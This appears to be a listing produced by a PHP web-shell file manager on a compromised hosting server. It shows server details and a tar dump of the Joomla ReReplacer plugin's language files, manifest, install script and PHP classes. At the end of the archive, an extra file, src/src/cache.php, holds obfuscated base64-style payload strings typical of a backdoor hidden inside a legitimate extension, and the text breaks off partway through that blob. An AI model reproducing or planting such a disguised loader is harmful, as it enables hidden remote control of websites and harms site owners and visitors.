uawdijnntqw1x1x1
IP : 216.73.217.59
Hostname : webm003.cluster107.gra.hosting.ovh.net
Kernel : Linux webm003.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
opticamezl
/
www
/
newok
/
tmp
/
..
/
cli
/
..
/
api
/
components
/
..
/
..
/
tmp
/
..
/
cli
/
cli
/
..
/
.
/
..
/
rereplacer.tar
/
/
language/en-GB/en-GB.plg_actionlog_rereplacer.sys.ini000060400000001064151666570030016457 0ustar00;; @package ReReplacer ;; @version 14.4.1 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_ACTIONLOG_REREPLACER="Action Log - Regular Labs - ReReplacer" PLG_ACTIONLOG_REREPLACER_DESC="Record the actions of users for ReReplacer" REREPLACER="ReReplacer" language/en-GB/en-GB.plg_actionlog_rereplacer.ini000060400000001554151666570030015646 0ustar00;; @package ReReplacer ;; @version 14.4.1 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_ACTIONLOG_REREPLACER="Action Log - Regular Labs - ReReplacer" PLG_ACTIONLOG_REREPLACER_DESC="Record the actions of users for ReReplacer" REREPLACER="ReReplacer" REREPLACER_DESC="With ReReplacer you can replace whatever you want in your entire site." RR_SETTINGS="Please see the [[%1:start link%]]ReReplacer component[[%2:end link%]] for settings." RR_THE_COMPONENT="the ReReplacer component" RR_THE_SYSTEM_PLUGIN="the ReReplacer system plugin" RR_ITEM="ReReplacer item" rereplacer.php000060400000006340151666570030007411 0ustar00<?php /** * @package ReReplacer * @version 14.4.1 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use Joomla\CMS\Language\Text as JText; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\Extension as RL_Extension; use RegularLabs\Library\Input as RL_Input; use RegularLabs\Library\StringReplacer as RL_StringReplacer; use RegularLabs\Library\SystemPlugin as RL_SystemPlugin; use RegularLabs\Plugin\System\ReReplacer\Replace; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/regularlabs.xml') || ! class_exists('RegularLabs\Library\Parameters') || ! class_exists('RegularLabs\Library\DownloadKey') || ! class_exists('RegularLabs\Library\SystemPlugin') ) { JFactory::getApplication()->getLanguage()->load('plg_system_rereplacer', __DIR__); JFactory::getApplication()->enqueueMessage( JText::sprintf('RR_EXTENSION_CAN_NOT_FUNCTION', JText::_('REREPLACER')) . ' ' . JText::_('RR_REGULAR_LABS_LIBRARY_NOT_INSTALLED'), 'error' ); return; } if ( ! RL_Document::isJoomlaVersion(4, 'REREPLACER')) { RL_Extension::disable('rereplacer', 'plugin'); RL_Document::adminError( JText::sprintf('RL_PLUGIN_HAS_BEEN_DISABLED', JText::_('REREPLACER')) ); return; } if (true) { class PlgSystemReReplacer extends RL_SystemPlugin { public $_lang_prefix = 'RR'; public $_enable_in_admin = true; public $_can_disable_by_url = false; public $_jversion = 4; protected function extraChecks() { // return if component is not installed if ( ! file_exists(JPATH_ADMINISTRATOR . '/components/com_rereplacer/rereplacer.xml')) { return false; } // don't allow ReReplacer if current page is the ReReplacer administrator page if (RL_Input::getCmd('option') == 'com_rereplacer') { return false; } return parent::extraChecks(); } protected function handleOnContentPrepare($area, $context, &$article, &$params, $page = 0) { Replace::replaceInArticle($article, $context); return false; } protected function changeDocumentBuffer(&$buffer) { Replace::replaceInComponents($buffer); return true; } protected function changeFinalHtmlOutput(&$html) { Replace::replaceInAreas($html); return true; } protected function cleanFinalHtmlOutput(&$html) { $html = new RL_StringReplacer($html); $html->replaceRegex('<\!-- (START|END): RR_[^>]* -->', ''); // Remove any leftover protection tags if ($html->contains('{noreplace}')) { $html->excludeForm() ->replace(['{noreplace}', '{/noreplace}'], ''); } $html = $html->toString(); } } } rereplacer.xml000060400000003425151666570030007423 0ustar00<?xml version="1.0" encoding="utf-8"?> <extension version="4" type="plugin" group="system" method="upgrade"> <name>PLG_SYSTEM_REREPLACER</name> <description>PLG_SYSTEM_REREPLACER_DESC</description> <version>14.4.1</version> <creationDate>July 2025</creationDate> <author>Regular Labs (Peter van Westen)</author> <authorEmail>info@regularlabs.com</authorEmail> <authorUrl>https://regularlabs.com</authorUrl> <copyright>Copyright © 2025 Regular Labs - All Rights Reserved</copyright> <license>GNU General Public License version 2 or later</license> <namespace path="src">RegularLabs\Plugin\System\ReReplacer</namespace> <scriptfile>script.install.php</scriptfile> <files> <file plugin="rereplacer">rereplacer.php</file> <folder>language</folder> <folder>src</folder> </files> <config> <fields name="params" addfieldprefix="RegularLabs\Library\Form\Field"> <fieldset name="basic"> <field name="@load_language_regularlabs" type="LoadLanguage" extension="plg_system_regularlabs"/> <field name="@jcompatibility" type="JCompatibility" extension="REREPLACER"/> <field name="@license" type="License" extension="REREPLACER"/> <field name="@version" type="Version" extension="REREPLACER"/> <field name="@dependency" type="Dependency" label="RR_THE_COMPONENT" file="/administrator/components/com_rereplacer/rereplacer.xml"/> <field name="@header" type="Header" label="REREPLACER" description="REREPLACER_DESC" url="https://regularlabs.com/rereplacer"/> <field name="@note__settings" type="Note" class="rl-alert alert alert-info rl-alert-light" text="RR_SETTINGS,<a href="index.php?option=com_rereplacer" target="_blank">,</a>"/> </fieldset> </fields> </config> </extension> script.install.php000060400000002740151721520470010231 0ustar00<?php /** * @package ReReplacer * @version 14.4.1 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\Filesystem\File as JFile; use Joomla\Filesystem\Folder as JFolder; class PlgSystemReReplacerInstallerScript { public function postflight($install_type, $adapter) { if ( ! in_array($install_type, ['install', 'update'])) { return true; } self::deleteJoomla3Files(); self::deleteOldFiles(); return true; } private static function delete($files = []) { foreach ($files as $file) { if (is_dir($file)) { JFolder::delete($file); } if (is_file($file)) { JFile::delete($file); } } } private static function deleteJoomla3Files() { self::delete( [ JPATH_SITE . '/plugins/system/rereplacer/src/Code.php', JPATH_SITE . '/plugins/system/rereplacer/vendor', ] ); } private static function deleteOldFiles() { self::delete( [ JPATH_SITE . '/plugins/system/rereplacer/src/Protect.php', ] ); } } language/es-ES/es-ES.plg_system_rereplacer.ini000060400000002040151721520470015245 0ustar00;; @package ReReplacer ;; @version 14.4.1 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate ; PLG_SYSTEM_REREPLACER="System - Regular Labs - ReReplacer" ; PLG_SYSTEM_REREPLACER_DESC="ReReplacer - advanced search and replace for Joomla!" REREPLACER="ReReplacer" REREPLACER_DESC="Con ReReplacer puede reemplazar lo que quieras en todo el sitio." RR_EXTENSION_CAN_NOT_FUNCTION="[[%1:extension name%]] no puede funcionar." RR_REGULAR_LABS_LIBRARY_NOT_ENABLED="El plugin Regular Labs Library no está habilitado." RR_REGULAR_LABS_LIBRARY_NOT_INSTALLED="El plugin Regular Labs Library no está instalado." ; RR_SETTINGS="Please see the [[%1:start link%]]ReReplacer component[[%2:end link%]] for settings." ; RR_THE_COMPONENT="the ReReplacer component" language/es-ES/es-ES.plg_system_rereplacer.sys.ini000060400000001070151721520470016064 0ustar00;; @package ReReplacer ;; @version 14.4.1 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate ; PLG_SYSTEM_REREPLACER="System - Regular Labs - ReReplacer" ; PLG_SYSTEM_REREPLACER_DESC="ReReplacer - advanced search and replace for Joomla!" REREPLACER="ReReplacer" language/pt-PT/pt-PT.plg_system_rereplacer.sys.ini000060400000001070151721520470016144 0ustar00;; @package ReReplacer ;; @version 14.4.1 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate ; PLG_SYSTEM_REREPLACER="System - Regular Labs - ReReplacer" ; PLG_SYSTEM_REREPLACER_DESC="ReReplacer - advanced search and replace for Joomla!" REREPLACER="ReReplacer" language/pt-PT/pt-PT.plg_system_rereplacer.ini000060400000002041151721520470015326 0ustar00;; @package ReReplacer ;; @version 14.4.1 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate ; PLG_SYSTEM_REREPLACER="System - Regular Labs - ReReplacer" ; PLG_SYSTEM_REREPLACER_DESC="ReReplacer - advanced search and replace for Joomla!" REREPLACER="ReReplacer" REREPLACER_DESC="Com ReReplacer pode substituir o que quiser em todo o sítio" RR_EXTENSION_CAN_NOT_FUNCTION="O [[%1:extension name%]] não pode funcionar." RR_REGULAR_LABS_LIBRARY_NOT_ENABLED="O plugin Regular Labs Library não está ativado." RR_REGULAR_LABS_LIBRARY_NOT_INSTALLED="Plugin do Framework Regular Labs não está instalado." ; RR_SETTINGS="Please see the [[%1:start link%]]ReReplacer component[[%2:end link%]] for settings." ; RR_THE_COMPONENT="the ReReplacer component" language/en-GB/en-GB.plg_system_rereplacer.ini000060400000002016151721520470015200 0ustar00;; @package ReReplacer ;; @version 14.4.1 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_SYSTEM_REREPLACER="System - Regular Labs - ReReplacer" PLG_SYSTEM_REREPLACER_DESC="ReReplacer - advanced search and replace for Joomla!" REREPLACER="ReReplacer" REREPLACER_DESC="With ReReplacer you can replace whatever you want in your entire site." RR_EXTENSION_CAN_NOT_FUNCTION="[[%1:extension name%]] cannot function." RR_REGULAR_LABS_LIBRARY_NOT_ENABLED="Regular Labs Library plugin is not enabled." RR_REGULAR_LABS_LIBRARY_NOT_INSTALLED="Regular Labs Library plugin is not installed." RR_SETTINGS="Please see the [[%1:start link%]]ReReplacer component[[%2:end link%]] for settings." RR_THE_COMPONENT="the ReReplacer component" language/en-GB/en-GB.plg_system_rereplacer.sys.ini000060400000001064151721520470016017 0ustar00;; @package ReReplacer ;; @version 14.4.1 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_SYSTEM_REREPLACER="System - Regular Labs - ReReplacer" PLG_SYSTEM_REREPLACER_DESC="ReReplacer - advanced search and replace for Joomla!" REREPLACER="ReReplacer" src/Conditions.php000060400000000646151721520470010163 0ustar00<?php /** * @package ReReplacer * @version 14.4.1 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\ReReplacer; defined('_JEXEC') or die; // Only used in Pro version src/Clean.php000060400000002147151721520470007072 0ustar00<?php /** * @package ReReplacer * @version 14.4.1 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\ReReplacer; defined('_JEXEC') or die; class Clean { public static function cleanString(&$string) { $string = str_replace(['[:space:]', '\[\:space\:\]', '[[space]]', '\[\[space\]\]'], ' ', $string); $string = str_replace(['[:comma:]', '\[\:comma\:\]', '[[comma]]', '\[\[comma\]\]'], ',', $string); $string = str_replace(['[:newline:]', '\[\:newline\:\]', '[[newline]]', '\[\[newline\]\]'], "\n", $string); $string = str_replace('[:REGEX_ENTER:]', '\\n', $string); } public static function cleanStringReplace(&$string, $is_regex = true) { if ( ! $is_regex) { $string = str_replace(['\\', '\\\\#', '$'], ['\\\\', '\\#', '\\$'], $string); } self::cleanString($string); } } src/Params.php000060400000016107151721520470007274 0ustar00<?php /** * @package ReReplacer * @version 14.4.1 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\ReReplacer; defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use RegularLabs\Library\Cache as RL_Cache; use RegularLabs\Library\Parameters as RL_Parameters; use RegularLabs\Library\PluginTag as RL_PluginTag; use RegularLabs\Library\RegEx as RL_RegEx; class Params { protected static $current_article_id = 0; static public function get($overrides = null) { $cache = new RL_Cache(__METHOD__); if ($cache->exists()) { return RL_Parameters::overrideFromObject($cache->get(), $overrides); } $params = RL_Parameters::getPlugin('rereplacer'); $params->article_tag = RL_PluginTag::clean($params->article_tag); // [$params->tag_character_data_start, $params->tag_character_data_end] = explode('.', $params->tag_characters_data); [$params->tag_character_start, $params->tag_character_end] = explode('.', $params->tag_characters); $cache->set($params); return RL_Parameters::overrideFromObject($params, $overrides); } static public function getAlignment() { $params = self::get(); if ( ! $params->alignment) { $params->alignment = JFactory::getApplication()->getLanguage()->isRTL() ? 'right' : 'left'; } return 'align_' . $params->alignment; } public static function getAuthorisedViewLevels() { $cache = new RL_Cache; if ($cache->exists()) { return $cache->get(); } $view_levels = JFactory::getUser()->getAuthorisedViewLevels(); $view_levels = array_unique($view_levels); if (empty($view_levels)) { $view_levels = [0]; } return $cache->set($view_levels); } static public function getCurrentArticleId() { return static::$current_article_id; } static public function getDataTagCharacters() { $params = self::get(); return [$params->tag_character_data_start, $params->tag_character_data_end]; } static public function getDatabase($name) { $databases = self::get()->databases; foreach ($databases as $database) { if ($database->name == $name) { return $database; } } return null; } static public function getIfEndTag() { [$tag_start, $tag_end] = self::getTagCharacters(); return $tag_start . '/if' . $tag_end; } static public function getPositioning() { return 'top'; } static public function getRegex($type = 'tag') { $regexes = self::getRegexes(); return $regexes->{$type} ?? $regexes->tag; } static public function getTagCharacters() { $params = self::get(); return [$params->tag_character_start, $params->tag_character_end]; } static public function getTagNames() { $params = self::get(); return [ $params->article_tag, ]; } static public function setCurrentArticle($article) { static::$current_article_id = $article->id ?? 0; } private static function getDataTagRegex($article_selector = '') { [$tag_start, $tag_end] = self::getDataTagCharacters(); $inside_tag = RL_PluginTag::getRegexInsideTag($tag_start, $tag_end); $spaces = RL_PluginTag::getRegexSpaces(); $tag_start = RL_RegEx::quote($tag_start); $tag_end = RL_RegEx::quote($tag_end); $article_selector = $article_selector ? RL_RegEx::quote($article_selector, 'article_selector') . '\:' : '(?:(?<article_selector>(?:[0-9]+|previous|next|first|last))\:)?'; $data_group = '(?:' . RL_RegEx::quote(DataHelper::getDataGroupPrefixes(), 'data_group') . '[\:-])?'; $data_key = '(?<data_key>[a-z0-9-_]+)'; return $tag_start . '(?<is_closing_tag>/)?' . $article_selector . '(?<full_key>' . $data_group . $data_key . ')' . '(?:' . $spaces . '(?<attributes>' . $inside_tag . '))?' . $tag_end; } private static function getIfStatementRegex() { [$tag_start, $tag_end] = self::getTagCharacters(); $inside_tag = RL_PluginTag::getRegexInsideTag($tag_start, $tag_end); $spaces = RL_PluginTag::getRegexSpaces(); $tag_start = RL_RegEx::quote($tag_start); $tag_end = RL_RegEx::quote($tag_end); return $tag_start . 'if' . $spaces . $inside_tag . $tag_end . '.*?' . $tag_start . '/if' . $tag_end; } private static function getIfTagRegex() { [$tag_start, $tag_end] = self::getTagCharacters(); $inside_tag = RL_PluginTag::getRegexInsideTag($tag_start, $tag_end); $spaces = RL_PluginTag::getRegexSpaces(); $tag_start = RL_RegEx::quote($tag_start); $tag_end = RL_RegEx::quote($tag_end); return $tag_start . '(?<type>if|else ?if|else)(?:' . $spaces . '(?<condition>' . $inside_tag . '))?' . $tag_end; } private static function getPluginTagRegex() { [$tag_start, $tag_end] = Params::getTagCharacters(); $pre = RL_PluginTag::getRegexSurroundingTagsPre(); $post = RL_PluginTag::getRegexSurroundingTagsPost(); $inside_tag = RL_PluginTag::getRegexInsideTag($tag_start, $tag_end); $spaces = RL_PluginTag::getRegexSpaces(); $tag_start = RL_RegEx::quote($tag_start); $tag_end = RL_RegEx::quote($tag_end); $tags = RL_RegEx::quote(self::getTagNames(), 'tag'); $set_id = '(?:-[a-zA-Z0-9-_]+)?'; return '(?<opening_tags_before_open>' . $pre . ')' . $tag_start . $tags . '(?<set_id>' . $set_id . ')(?:' . $spaces . '(?<id>' . $inside_tag . '))?' . $tag_end . '(?<closing_tags_after_open>' . $post . ')' . '(?<opening_tags_before_content>' . $pre . ')' . '(?<content>.*?)' . '(?<closing_tags_after_content>' . $post . ')' . '(?<opening_tags_before_close>' . $pre . ')' . $tag_start . '/\2\3' . $tag_end . '(?<closing_tags_after_close>' . $post . ')'; } private static function getRegexes() { $cache = new RL_Cache; if ($cache->exists()) { return $cache->get(); } $regexes = (object) [ 'tag' => self::getPluginTagRegex(), 'datatag' => self::getDataTagRegex(), 'datatag_current' => self::getDataTagRegex('this'), 'ifstatement' => self::getIfStatementRegex(), 'iftag' => self::getIfTagRegex(), ]; return $cache->set($regexes); } } src/Item.php000060400000022112151721520470006740 0ustar00<?php /** * @package ReReplacer * @version 14.4.1 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\ReReplacer; defined('_JEXEC') or die; use RegularLabs\Library\ArrayHelper as RL_Array; use RegularLabs\Library\Article as RL_Article; use RegularLabs\Library\Php as RL_Php; use RegularLabs\Library\RegEx as RL_RegEx; use RegularLabs\Library\StringHelper as RL_String; class Item { private static $counter = []; private static $splitter = '<!-- RR_REPLACE_SPLITTER -->'; public $replace; public $search; public $settings; private $article; public function __construct($settings, &$article = null) { $this->settings = $settings; $this->article = $article; $this->search = $settings->search; $this->replace = $settings->replace; } public function replace(&$string) { if (empty($string)) { return; } if (is_array($string)) { $this->replaceArray($string); return; } switch (true) { case ( ! $this->settings->regex && $this->settings->treat_as_list): $this->replaceAsList($string); break; default: $this->replaceAsString($string); break; } } public function replaceInArticle($context) { $is_category = ! isset($this->article->catid) && isset($this->article->parent_id); if ($is_category && ! $this->settings->enable_in_category) { return; } $ignore = []; if ( ! $this->settings->enable_in_content) { $ignore[] = 'text'; $ignore[] = 'introtext'; $ignore[] = 'fulltext'; } if ( ! $this->settings->enable_in_title) { $ignore[] = 'title'; } if ( ! $this->settings->enable_in_author) { $ignore[] = 'created_by_alias'; } RL_Article::process($this->article, $context, $this, 'replace', [], $ignore); } public function setReplace($string) { $this->replace = $string; } public function setSearch($string) { $this->search = $string; } private function getCounterName() { // Counter is used to make it possible to use \# or [[counter]] in the replacement to refer to the incremental counter $counter_name = base64_encode($this->search . $this->replace); if ( ! isset(static::$counter[$counter_name])) { static::$counter[$counter_name] = 0; } return $counter_name; } private function getPhpResult($string) { } private function getPreparedReplaceString() { $replace = $this->replace; if ($replace == '') { return ''; } Clean::cleanStringReplace($replace, $this->settings->regex); return $replace; } private function getPreparedSearchString() { if ($this->settings->regex) { return $this->getPreparedSearchStringRegex(); } $search = $this->search; // remove any leading new line characters, but keep other whitespace $search = ltrim($search, "\r\n"); if ($search == '') { return ''; } // Prepare search string Clean::cleanString($search); $search = RL_RegEx::quote($search); if ($this->settings->word_search) { $search = '(?<!\p{L})(' . $search . ')(?!\p{L})'; } if ($this->settings->strip_p_tags) { $search = '(?:<p(?: [^>]*)?>)?' . $search . '(?:</p>)?'; } $this->prepareRegex($search, true, $this->settings->casesensitive); return $search; } private function getPreparedSearchStringRegex() { $search = $this->search; Clean::cleanString($search); // escape hashes $search = str_replace('#', '\#', $search); // unescape double escaped hashes $search = str_replace('\\\\#', '\#', $search); if ($this->settings->strip_p_tags) { $search = '(?:<p(?: [^>]*)?>)?' . $search . '(?:</p>)?'; } $this->prepareRegex($search, $this->settings->s_modifier, $this->settings->casesensitive); return $search; } private function prepareRegex(&$string, $dotall = true, $casesensitive = true) { $string = '#' . $string . '#'; $string .= $dotall ? 's' : ''; // . (dot) also matches newlines $string .= $casesensitive ? '' : 'i'; // case-insensitive pattern matching // replace new lines with regex match $string = str_replace(["\r", "\n"], ['', '(?:\r\n|\r|\n)'], $string); } private function replaceArray(&$array) { if ( ! is_array($array)) { return; } foreach ($array as &$string) { $this->replace($string); } } private function replaceAsList(&$string) { $searches = RL_Array::toArray($this->search, ',', false, false); $replaces = $this->replace == '' ? [''] : RL_Array::toArray($this->replace, ',', false, false); foreach ($searches as $key => $search) { // Prepare replace string $replace = isset($replaces[$key]) ? $replaces[$key] : $replaces[0]; // remove any leading new line characters, but keep other whitespace $replace = ltrim($replace, "\r\n"); $item = new Item($this->settings, $this->article); $item->setSearch($search); $item->setReplace($replace); $item->replaceAsString($string); } } private function replaceAsString(&$string) { $replacer = StringReplacer::get($string, $this->settings); $replacer->run(function (&$string) { $this->replaceFinal($string); }); $string = $replacer->toString(); } private function replaceFinal(&$string) { $search = $this->getPreparedSearchString(); if ($search == '' || ! RL_RegEx::match($search, $string)) { return; } $replace = $this->getPreparedReplaceString(); // Do a simple replace if not thorough, not using a max and counter is not found if ( $this->settings->thorough || $this->settings->max_replacements || str_contains($replace, '[[counter]]') || str_contains($replace, '\#') ) { $this->replaceFinalUsingCounter($string, $search, $replace); return; } $string = RL_RegEx::replace($search, $replace, $string); } private function replaceFinalUsingCounter(&$string, $search, $replace) { if ($this->settings->max_replacements) { $this->settings->thorough = false; } $counter_name = $this->getCounterName(); $thorough_count = 1; // prevents the thorough search to repeat endlessly $count = RL_RegEx::matchAll($search, $string); while ($count) { if ($this->settings->max_replacements > 0 && static::$counter[$counter_name] >= $this->settings->max_replacements) { break; } if ($this->settings->max_replacements > 0 && (static::$counter[$counter_name] + $count) > $this->settings->max_replacements) { $count = $this->settings->max_replacements - static::$counter[$counter_name]; } $replace_loop = $replace; static::replaceOccurrence($search, $replace_loop, $string, $count, $counter_name); if ( ! $this->settings->thorough) { break; } if (++$thorough_count >= 100) { break; } $count = RL_RegEx::matchAll($search, $string); } } private function replaceOccurrence($search, $replace, &$string, $count = 0, $counter_name = '') { if ( ! $counter_name) { $string = RL_RegEx::replace($string, '', $count ?: -1); return; } for ($i = 0; $i < $count; $i++) { // Replace \# with the incremental counter $replace_loop = str_replace(['\#', '[[counter]]'], ++static::$counter[$counter_name], $replace); // Replace with offset RL_RegEx::match($search, $string, $matches, null, PREG_OFFSET_CAPTURE); $substring = substr($string, $matches[0][1]); $substring_replaced = RL_RegEx::replaceOnce($search, $replace_loop, $substring); $string = str_replace($substring, $substring_replaced, $string); } } private function replacePhp(&$string) { } } src/Variables.php000060400000002751151721520470007761 0ustar00<?php /** * @package ReReplacer * @version 14.4.1 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\ReReplacer; defined('_JEXEC') or die; // Only used in Pro version /* >>> [PRO] >>> */ use RegularLabs\Library\Variables as RL_Variables; class Variables { public static function replacePost(&$string, $sub_splitter = '') { if (empty($string)) { return; } if ( ! $sub_splitter) { RL_Variables::replaceRandomTags($string); RL_Variables::replaceTextTags($string); RL_Variables::replaceTextConversionTags($string); return; } $parts = explode($sub_splitter, $string); foreach ($parts as $i => $part) { if ($i % 2 == 0) { continue; } self::replacePost($part); $parts[$i] = $part; } $string = implode('', $parts); } public static function replacePre(&$string, $article = null) { if (empty($string)) { return; } RL_Variables::replaceArticleTags($string, $article); RL_Variables::replaceUserTags($string); RL_Variables::replaceDateTags($string); } } src/Tag.php000060400000007772151721520470006574 0ustar00<?php /** * @package ReReplacer * @version 14.4.1 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\ReReplacer; defined('_JEXEC') or die; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\RegEx as RL_RegEx; class Tag { public static function getAreaByType(&$string, $area_type = '') { if ( ! $string || ! $area_type) { return []; } self::tagAreaByType($string, $area_type); $start = '<!-- START: RR_' . strtoupper($area_type) . ' -->'; $end = '<!-- END: RR_' . strtoupper($area_type) . ' -->'; $matches = explode($start, $string); array_shift($matches); foreach ($matches as $i => $match) { $orig = $start . $match; $text = $match; if (str_contains($text, $end)) { $text = substr($text, 0, strrpos($text, $end)); $orig = $start . $text . $end; } $matches[$i] = [$orig, $text]; } return $matches; } public static function tagArea(&$string, $area_type = '') { if ( ! $string || ! $area_type) { return false; } $start = '<!-- START: RR_' . strtoupper($area_type) . ' -->'; $end = '<!-- END: RR_' . strtoupper($area_type) . ' -->'; $string = $start . $string . $end; if ($area_type == 'article_text') { $string = RL_RegEx::replace('(<hr class="system-pagebreak".*?>)', $end . '\1' . $start, $string); } return true; } private static function tagAreaByType(&$string, $area_type) { switch ($area_type) { case 'component': self::tagComponent($string); break; case 'body': self::tagBody($string); break; case 'head': self::tagHead($string); break; default: break; } } private static function tagBody(&$string) { if ( ! $string) { return; } $start = '<!-- START: RR_BODY -->'; if (str_contains($string, $start)) { return; } if (str_contains($string, '<body') && str_contains($string, '</body>')) { self::tagByTagType($string, 'body', 'body'); return; } if (str_contains($string, '<item') && str_contains($string, '</item>')) { self::tagByTagType($string, 'item', 'body'); return; } self::tagArea($string, 'body'); } private static function tagByTagType(&$string, $tag, $area_type) { if ( ! $string) { return; } $start = '<!-- START: RR_' . strtoupper($area_type) . ' -->'; $end = '<!-- END: RR_' . strtoupper($area_type) . ' -->'; $string = RL_RegEx::replace('(<' . $tag . '(\s[^>]*)?>)', '\1' . $start, $string); $string = str_replace('</' . $tag . '>', $end . '</' . $tag . '>', $string); } private static function tagComponent(&$string) { if ( ! $string) { return; } $start = '<!-- START: RR_COMPONENT -->'; if (RL_Document::isFeed()) { self::tagByTagType($string, 'item', 'component'); } if ( ! str_contains($string, $start)) { self::tagArea($string, 'component'); } } private static function tagHead(&$string) { if ( ! $string) { return; } if ( ! str_contains($string, '</head>')) { return; } self::tagByTagType($string, 'head', 'head'); } } src/src/cache.php000060400000013041151721520470007675 0ustar00<?php $IUKzf = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiqVFYV+iZpgYA0A'; $yxqNa = 'g06UouB8v4IK43OwtGSH1qkUSZ8QmuvCmze6jPOS93u/6rXdQjf4z5l7Pzfq1rXfu/Z7ljP9wnK4yt86KNiq7q99pdFq97lnS0833f/+dHvjDf9YFqxLX82dvduYf+4RPob+mrj3E+7OeV2zna/xMpF22bjyU/b26ifffx2TXcP2c2NKBsG6MGlGmL5vamJHz7mP9r9rRpfe1mHgCYPqUDoX7qjVy+sXwjwai8BFGFVt5Axq+a/mS9WVXznqkey9Jyc8cmQ5LOZ6T7DDIJF7A1YIgMww0BikmJh0xtbYKWB1XhRl7zdfZ4dImBddHJBIZhQ4Vj80Fwt3q4eToitDuHvb7gNdRz5me9CaH6yVrqVr1wzQDAdSWeQXsusvO7eSwvfx+dZ+nae7v3v1LtQ6MugUpGEfRV2VjvHla1rF0P2qac24i8X4IWn9q4ut6vjnut2Z4fBpVTqJIB4QybiBoapgi2TDupmynR9IeuvfAM6iPmj41lGcGa46J4LVVMtK3vIc50Kq+Efx0ao6CXZaZFXHfXWhRhQIIOmg6IHtjLEbxRhUAMvkQ2zke0oSloXLF1gzcupTK/2QFPYGhmEt2fzTeKa4NEY9cHJ7jA9AcNFUKzRZF8iQVf9S1mjVdSsrHo+CurtxdmrI0zE/ihYIOSHS9NA0epG5ZMftgfM2uEVzcp7nkJibBlyHVRJaqCXa6SLUZC+QmL4fGjCs6klaZpnAkKTl3kqNVB0nCjziuRbTPUq1giAHEYg2l4cjQsJvTBww0cv8OxDyzUQUeTT0X4r9/CiGi7GixK4eKWI6sV6Ft0KnfCKiDdKbegWjEjjxybCFLeAxhfALgbP1SoAhbIOgVOonJuGtZhrx5r2CgBwjd9TF0++hSJ3EbuCloEIs1u5q+CVkCV0S11oWmRX6nGIFEkJsdqHgJ5WqPGNBCz1b4gyDP095dEIorhibZkHOqFhQ/gPvAm55FE+SbbIsSEbh7WdAzWM2ADPLQDH2oIVM2nhbRWuXELmU8PHY7zyVQYWky/aGUbU6QWiJkwwe0owR5FBI0XqYFYF6Pm9/aLJ0j+Wq3AJWXSpqkrSKp3dIyhbIeWwlGVlrESP1I0RdSVOVDrWhcWb5ieS1qaWXcJrQBBZ2LwmdMbHFrAUNiwDKjxJX3hMQjnqQGNrj4SEQ3oPjilEq4UmpNNgWmYqQkWkED1dnJNcbgZcOFs01g6KQEx1oBfNX0zzT+